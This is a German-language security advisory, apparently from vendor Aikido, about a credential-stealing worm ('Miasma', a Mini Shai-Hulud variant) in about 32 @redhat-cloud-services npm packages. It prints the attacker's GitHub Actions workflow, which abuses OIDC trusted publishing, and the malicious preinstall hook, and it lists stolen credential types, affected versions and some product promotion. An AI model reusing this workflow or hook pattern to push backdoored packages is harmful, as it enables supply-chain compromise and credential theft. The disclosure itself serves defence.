Am 1. Juni 2026 haben wir festgestellt, dass mehrere offizielle Pakete von @redhat-cloud-services Umfang auf npm wurden durch einen Wurm zur Anmeldedaten-Diebstahl kompromittiert. Insgesamt wurden 96 Versionen über 32 Pakete hinweg kompromittiert, mit kumulierten Downloads von 116.991 Mal pro Woche. Die Malware ähnelt der Mini Shai-Hulud Malware die kürzlich von TeamPCP als Open Source veröffentlicht wurde. Da die Tools öffentlich zugänglich gemacht wurden, haben andere Bedrohungsakteure nun Zugang zu denselben Techniken und können diese replizieren oder anpassen. Die Pakete wurden über GitHub Actions OIDC veröffentlicht, was darauf hindeutet, dass die CI/CD-Pipeline kompromittiert wurde und nicht ein npm-Token. Wenn Sie seit dem 1. Juni 2026 betroffene Paketversionen installiert haben, behandeln Sie alle CI Secrets, Cloud-Anmeldeinformationen, SSH-Schlüssel und npm-Tokens als kompromittiert und rotieren Sie diese umgehend.
Zeitachse der Mini Shai-Hulud Kampagne
- 22. April 2026 - @bitwarden/cli kompromittiert über einen manipulierten GitHub Actions Workflow. Die Payload identifiziert sich selbst als „Shai-Hulud: The Third Coming.“
- 29. April 2026 - Vier SAP npm-Pakete kompromittiert durch ein npm-Token, das über einen bösartigen CircleCI Pull-Request-Build geleakt wurde.
- 30. April 2026 - PyTorch Lightning auf PyPI kompromittiert, Versionen 2.6.2 und 2.6.3.
- 12. Mai 2026 - Mini Shai-Hulud befällt über 160 Pakete, darunter Mistral und Tanstack.
- 12. Mai 2026 - TeamPCP veröffentlicht den vollständigen Shai-Hulud Quellcode auf GitHub, zusammen mit Beiträgen auf BreachForums, die andere ermutigen, eigene Kampagnen zu starten.
- 19. Mai 2026 - Microsofts DurableTask npm-Paket kompromittiert, verursacht durch ein zuvor kompromittiertes GitHub-Konto.
- 1. Juni 2026 - Über 30
@redhat-cloud-servicesnpm-Pakete kompromittiert mit Miasma, einer neuen Variante von Mini Shai-Hulud.
Miasma: Ist Shai-Hulud zurück?
Die in den betroffenen Paketen eingebettete Payload weist starke Ähnlichkeiten mit der Mini Shai-Hulud Malware auf, der von TeamPCP als Open Source veröffentlichten Lieferketten-Malware. Interessanterweise nennt sich diese Version „Miasma“ und scheint die bekannten Dune-Referenzen von Shai-Hulud durch griechische Mythologie ersetzt zu haben.
TeamPCP ist eine Bedrohungsakteursgruppe, die seit mehreren Monaten gezielte CI/CD-Lieferkettenangriffe durchführt. Ihre Mini Shai-Hulud Malware ist ein ausgeklügelter Wurm zur Entwendung von Anmeldeinformationen, der sich verbreitet, indem er Backdoor-Versionen von Paketen neu veröffentlicht, auf die das Opferkonto Zugriff hat. Wir haben zuvor über Kompromittierungen berichtet, die Mistral und TanStack, Microsofts Durable Task, PyTorch Lightning, Bitwarden CLI und Intercom betrafen, die alle auf dieselben Tools zurückzuführen sind.
Als TeamPCP Mini Shai-Hulud als Open Source veröffentlichte, weitete sich die Bedrohung über einen einzelnen Akteur hinaus aus. Jede Gruppe kann das Framework nun aufgreifen, anpassen und gegen neue Ziele einsetzen.
Trusted Publishing Bypass
Trusted Publishing ist ein von npm eingeführter Mechanismus, um langfristige Publish-Tokens aus CI/CD-Pipelines zu eliminieren und sie durch kurzlebige OIDC-Tokens zu ersetzen, die von GitHub Actions ausgegeben werden. Es wurde entwickelt, um sicherer zu sein, doch wie jüngste Angriffe zeigen, kann es umgangen werden, wenn ein Angreifer durch eine Schwachstelle oder ein kompromittiertes Token Zugriff auf eine CI/CD-Pipeline erhält.
Wir haben festgestellt, dass das GitHub-Konto eines Red Hat-Mitarbeiters kompromittiert und dazu verwendet wurde, bösartige Orphan-Commits direkt in mehrere Repositories zu pushen, wobei die Code-Überprüfung vollständig umgangen wurde. Diese Orphan-Commits enthielten eine Workflow-Datei (ci.yaml) und ein Skript (_index.js).
name: release
on:
push:
branches: ['*']
jobs:
release:
runs-on: ubuntu-latest
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- uses: oven-sh/setup-bun@0c5077e51419868618aeaa5fe8019c62421857d6
- name: prepare
run: bun run _index.js
env:
OIDC_PACKAGES: "@redhat-cloud-services/frontend-components-advisor-components, @redhat-cloud-services/chrome, @redhat-cloud-services/frontend-components, @redhat-cloud-services/frontend-components-config-utilities, @redhat-cloud-services/frontend-components-config, @redhat-cloud-services/eslint-config-redhat-cloud-services, @redhat-cloud-services/frontend-components-notifications, @redhat-cloud-services/frontend-components-remediations, @redhat-cloud-services/rule-components, @redhat-cloud-services/frontend-components-testing, @redhat-cloud-services/frontend-components-translations, @redhat-cloud-services/tsc-transform-imports, @redhat-cloud-services/types, @redhat-cloud-services/frontend-components-utilities"
WORKFLOW_ID: "ci.yaml"
REPO_ID_SUFFIX: "RedHatInsights/frontend-components"Wenn der Workflow ausgeführt wird, installiert er Bun und führt aus _index.js, wobei eine Liste von Zielpaketen über die OIDC_PACKAGES Umgebungsvariable übergeben wird. Das Skript verwendet die id-token: write Berechtigung, einen kurzlebigen OIDC-Token von GitHub anzufordern, diesen Token dann zur direkten Authentifizierung bei npm's vertrauenswürdigem Publishing-Endpunkt zu verwenden und mit Backdoors versehene Versionen jedes Pakets in der Liste zu veröffentlichen.
Dies ist das gleiche grundlegende Muster, das bei den TanStack- und Bitwarden-Kompromittierungen zu beobachten war: Die CI/CD-Pipeline selbst wird zur Angriffsfläche, während OIDC-basiertes Trusted Publishing – das darauf ausgelegt ist, langlebige Tokens zu eliminieren – zu einem irreführenden Vertrauenssignal wird.
Das Preinstall-Skript
Jedes kompromittierte Paket deklariert ein Preinstall-Skript in seiner package.json, das node index.js bei jeder npm-Installation automatisch ausführt, bevor Anwendungs-Code läuft und bevor die Entwickelnde eine Indikation dafür haben, dass etwas nicht stimmt.
"scripts": {
"preinstall": "node index.js"
}
Die index.js-Datei ist eine 4,2 MB große Payload, die hinter mehreren Obfuskationsschichten verborgen ist.
Was es stiehlt
Wie bei früheren Mini Shai-Hulud-Angriffen führt die Payload einen umfassenden Scan nach Anmeldeinformationen über Cloud-Anbieter, CI/CD-Umgebungen und Entwickelnde-Tools hinweg durch. Auf der CI-Seite zielt es auf GitHub Actions Secrets ab, einschließlich GITHUB_TOKEN und ACTIONS_RUNTIME_TOKEN. Für Cloud-Anmeldeinformationen sammelt es AWS Access Keys und Session Tokens, GCP Application Default Credentials und Service Account Key Files sowie Azure Service Principal Credentials und Managed Identity Tokens. Es scannt auch nach HashiCorp Vault Tokens, Kubernetes Service Account Tokens und Kubeconfig-Dateien, npm- und PyPI Publish Tokens, SSH Private Keys, Docker Registry Credentials, GPG Keys und allen .env-Dateien, die es im Dateisystem finden kann.
Wie Aikido dies erkennt
Wenn Sie ein Aikido-Benutzer sind, überprüfen Sie Ihren zentralen Feed und filtern Sie nach Malware-Problemen. Dies wird als kritisches Problem mit 100/100 angezeigt. Aikido führt nächtliche Rescans durch, aber wir empfehlen, jetzt einen manuellen Rescan auszulösen.
Wenn Sie noch kein Aikido-Benutzer sind, können Sie ein Konto erstellen und Ihre Repos verbinden. Unsere Malware-Abdeckung ist im kostenlosen Plan enthalten, keine Kreditkarte erforderlich.
Für eine umfassendere Abdeckung Ihres gesamten Teams bietet Aikido's Device Protection Ihnen Transparenz und Kontrolle über die Softwarepakete, die auf den Geräten Ihres Teams installiert sind. Es deckt Browser Extensions, Code Libraries, IDE Plugins und Build Dependencies ab, alles an einem Ort. Stoppen Sie Malware, bevor sie installiert wird.
Für zukünftigen Schutz sollten Sie Aikido Safe Chain (Open Source) in Betracht ziehen. Safe Chain integriert sich in Ihren bestehenden Workflow, indem es npm-, npx-, yarn-, pnpm- und pnpx-Befehle abfängt und Pakete vor der Installation gegen Aikido Intel prüft.
Indicators of Compromise
Wenn Sie eine der folgenden Paketversionen installiert haben, behandeln Sie alle CI Secrets, Cloud-Anmeldeinformationen, SSH-Schlüssel und npm-Tokens als kompromittiert und rotieren Sie diese umgehend:
@redhat-cloud-services/chrome(2.3.1, 2.3.2)@redhat-cloud-services/compliance-client(4.0.3, 4.0.4)@redhat-cloud-services/config-manager-client(5.0.4, 5.0.5)@redhat-cloud-services/entitlements-client(4.0.11, 4.0.12)@redhat-cloud-services/eslint-config-redhat-cloud-services(3.2.1, 3.2.2)@redhat-cloud-services/frontend-components(7.7.2, 7.7.3)@redhat-cloud-services/frontend-components-advisor-components(3.8.2)@redhat-cloud-services/frontend-components-config(6.11.3, 6.11.4)@redhat-cloud-services/frontend-components-config-utilities(4.11.2, 4.11.3)@redhat-cloud-services/frontend-components-notifications(6.9.2, 6.9.3)@redhat-cloud-services/frontend-components-remediations(4.9.2, 4.9.3)@redhat-cloud-services/frontend-components-testing(1.2.1, 1.2.2)@redhat-cloud-services/frontend-components-translations(4.4.1, 4.4.2)@redhat-cloud-services/frontend-components-utilities(7.4.1, 7.4.2)@redhat-cloud-services/hcc-feo-mcp(0.3.1, 0.3.2)@redhat-cloud-services/hcc-kessel-mcp(0.3.1, 0.3.2)@redhat-cloud-services/hcc-pf-mcp(0.6.1, 0.6.2)@redhat-cloud-services/host-inventory-client(5.0.3, 5.0.4)@redhat-cloud-services/insights-client(4.0.4, 4.0.5)@redhat-cloud-services/integrations-client(6.0.4, 6.0.5)@redhat-cloud-services/javascript-clients-shared(2.0.8, 2.0.9)@redhat-cloud-services/notifications-client(6.1.4, 6.1.5)@redhat-cloud-services/patch-client(4.0.4, 4.0.5)@redhat-cloud-services/quickstarts-client(4.0.11, 4.0.12)@redhat-cloud-services/rbac-client(9.0.3, 9.0.4)@redhat-cloud-services/remediations-client(4.0.4, 4.0.5)@redhat-cloud-services/rule-components(4.7.2, 4.7.3)@redhat-cloud-services/sources-client(3.0.10, 3.0.11)@redhat-cloud-services/topological-inventory-client(3.0.10, 3.0.11)@redhat-cloud-services/tsc-transform-imports(1.2.2)@redhat-cloud-services/types(3.6.1, 3.6.2, 3.6.4)@redhat-cloud-services/vulnerabilities-client(2.1.8, 2.1.9)
